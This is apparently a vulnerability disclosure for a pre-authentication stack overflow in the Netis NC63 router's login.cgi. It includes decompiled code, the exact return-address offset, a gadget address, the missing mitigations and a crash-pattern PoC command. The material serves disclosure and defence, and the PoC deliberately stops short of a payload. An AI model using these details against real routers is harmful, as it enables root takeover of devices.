
Original research and non-destructive PoC for a pre-auth Base64-decoded password stack buffer overflow in Netis NC63 login.cgi
login.cgi Leading to RCEResearcher: Özcan Ersan (@ozcanpng)
CVE-2026-76070NC63_V3.0.0.3327/bin/netis.cgiPOST /cgi-bin/login.cgipasswordThe public login handler in Netis NC63 firmware V3.0.0.3327 retrieves the
attacker-controlled password parameter and decodes it with the custom
Base64 routine FUN_00402bd4. The caller supplies a 64-byte local stack
buffer but does not pass its capacity to the decoder. The decoder derives its
work from the encoded input and writes decoded bytes without checking the
destination end.
The saved MIPS return address is 136 bytes from the beginning of the decoded buffer. Dynamic tests against the original-hash production CGI confirmed:
B pattern produces a fault at 0x42424242;ra with 0x0041a2e0 causes a second observed entry at
the login handler, proving program-counter control; andsystem() call with an attacker-selected MIPS a0 value. The replacement
/bin/sh logged /bin/sh -c NC63_RCE_PROOF and executed no command.The public PoC in this repository deliberately stops at a crash pattern. It contains no return chain, shellcode, command, reverse shell, or persistence.
193f6a5e2ce65972b1805bf076f8d3521379a8441c8aaeb5ad0ba174bbee0792 netis_NC63_V3.0.0.3327.bin
23faa747b7d2f067aa5431bcc227ceca97a7977cf3e7c372f715cbba57f9209b squashfs-root/bin/boa
eb298774c27070dc595fefcabb4e8c12a46cb5f4fd08f91c3ca92282c3a289a2 squashfs-root/bin/netis.cgi
The dynamically tested /bin/netis.cgi copy has the same SHA-256 as the
vendor-extracted executable.

The vendor frontend sends the password to the public endpoint as Base64:
obj.password = base64encode(utf16to8(password));
request({
url: "/cgi-bin/login.cgi",
data: obj
});
The HTML field uses maxlength="63", but that is only a browser-side
restriction. A direct HTTP client can submit a larger encoded value.

login.cgi is necessarily reachable before authentication. The unsafe decode
happens before the decoded password is compared with the configured
administrator password. No valid session, Cookie header, Authorization header,
or correct password is required.
Unauthenticated HTTP client
|
| POST /cgi-bin/login.cgi
| password=<attacker-controlled Base64>
v
/bin/netis.cgi: FUN_0041a2e0
|
| get_request_param("password")
v
FUN_00402bd4(decoded_stack_buffer, encoded_password)
|
| no destination-capacity argument
| decoded output exceeds 64 bytes
v
saved s8 at decoded offset 132
saved ra at decoded offset 136
|
v
attacker-selected MIPS PC
Ghidra-derived pseudocode, with names normalized for readability:
int login_cgi(void *request)
{
char decoded[64];
char stored[68];
char *password;
memset(decoded, 0, 64);
memset(stored, 0, 64);
password = get_request_param(request, "password");
if (password != NULL)
FUN_00402bd4(decoded, password); /* no capacity argument */
apmib_get(0x15e, stored);
if (strcmp(decoded, stored) == 0)
printf("[\"SUCCESS\"]");
else {
system("echo 0 >/tmp/boa_auth");
printf("[\"%d\"]", 0x15);
}
return 0;
}

The decoder at FUN_00402bd4 receives only destination and source pointers.
Its loop advances the destination pointer and stores up to three decoded bytes
for each four Base64 symbols. No comparison checks the destination against
decoded + 64.

Base64 is the input transformation, not the underlying defect. The root cause is the mismatch between attacker-controlled decoded length and a fixed-size destination whose capacity is never enforced. For ordinary padded input, four encoded characters represent up to three decoded bytes; server-side checks must therefore calculate and validate decoded size before writing.
FUN_0041a2e0 starts at 0x0041a2e0 and creates a 0xa8-byte frame:
0041a2e0 addiu sp,sp,-168
0041a2e4 sw ra,164(sp)
0041a2e8 sw s8,160(sp)
0041a2ec move s8,sp
The decoded destination begins at s8+0x1c; saved s8 and saved ra are at
s8+0xa0 and s8+0xa4:
decoded[64] s8+0x1c decoded offset 0
saved s8 s8+0xa0 decoded offset 132
saved ra s8+0xa4 decoded offset 136
The exact return-address distance is 0xa4 - 0x1c = 0x88, or 136 bytes.

A 140-byte decoded B pattern replaced the four-byte saved return address:
--- SIGSEGV {si_signo=SIGSEGV, si_code=1, si_addr=0x42424242} ---
qemu: uncaught target signal 11 (Segmentation fault)

A separate 140-byte input set saved ra to 0x0041a2e0. QEMU CPU tracing
recorded an ordinary first handler entry followed by a second entry with
s8=0x41414141 and ra=0x0041a2e0.

The original binary contains a direct jal system at 0x0041a3cc. In the
private isolated validation, existing fixed-base instructions loaded a marker
into a0 and reached that call. A static observation program was mounted over
/bin/sh; it logged the command-interpreter arguments and executed nothing:
argv[0]=</bin/sh>
argv[1]=<-c>
argv[2]=<NC63_RCE_PROOF>
CONTROLLED_MARKER_REACHED
PASS: attacker-controlled a0 reached system() and /bin/sh argv.
PASS: the guard logged the request and executed no command.
This demonstrates an RCE primitive in the isolated production-code path. It does not establish identical exploit reliability on a physical router under its deployed kernel and stack-randomization configuration.
The original Boa configuration specifies User root, Group root, and a CGI
path containing /bin and /web/cgi-bin. The production executable is fixed
base (0x00400000), has no stack canary or RELRO, and declares an executable
GNU stack with RWX segments.


The included script defaults to dry-run mode and only generates a Base64 form
body containing 140 B bytes after decoding:
python3 poc/poc.py
Sending requires an explicit authorized target and --send:
python3 poc/poc.py --target http://192.168.1.1 --send
Sending the pattern may crash the CGI process. Use it only in an authorized, disposable environment. The PoC does not implement the private RCE validation chain.
Successful exploitation can execute attacker-selected code or commands in the router-management context. Under the original Boa configuration that context runs as root. Potential consequences include configuration and secret disclosure, DNS/firewall/routing manipulation, traffic redirection, service disruption, and full device compromise.
FUN_00402bd4.See evidence/README.md for screenshots and trace mapping.
Normalized Ghidra excerpts are under
attachments/decompiled-functions/.
CVE-2026-76070 and authorized public
disclosure.No physical router was flashed. No real shell command, reverse shell, persistence, external connection, credential theft, or destructive firmware operation was used.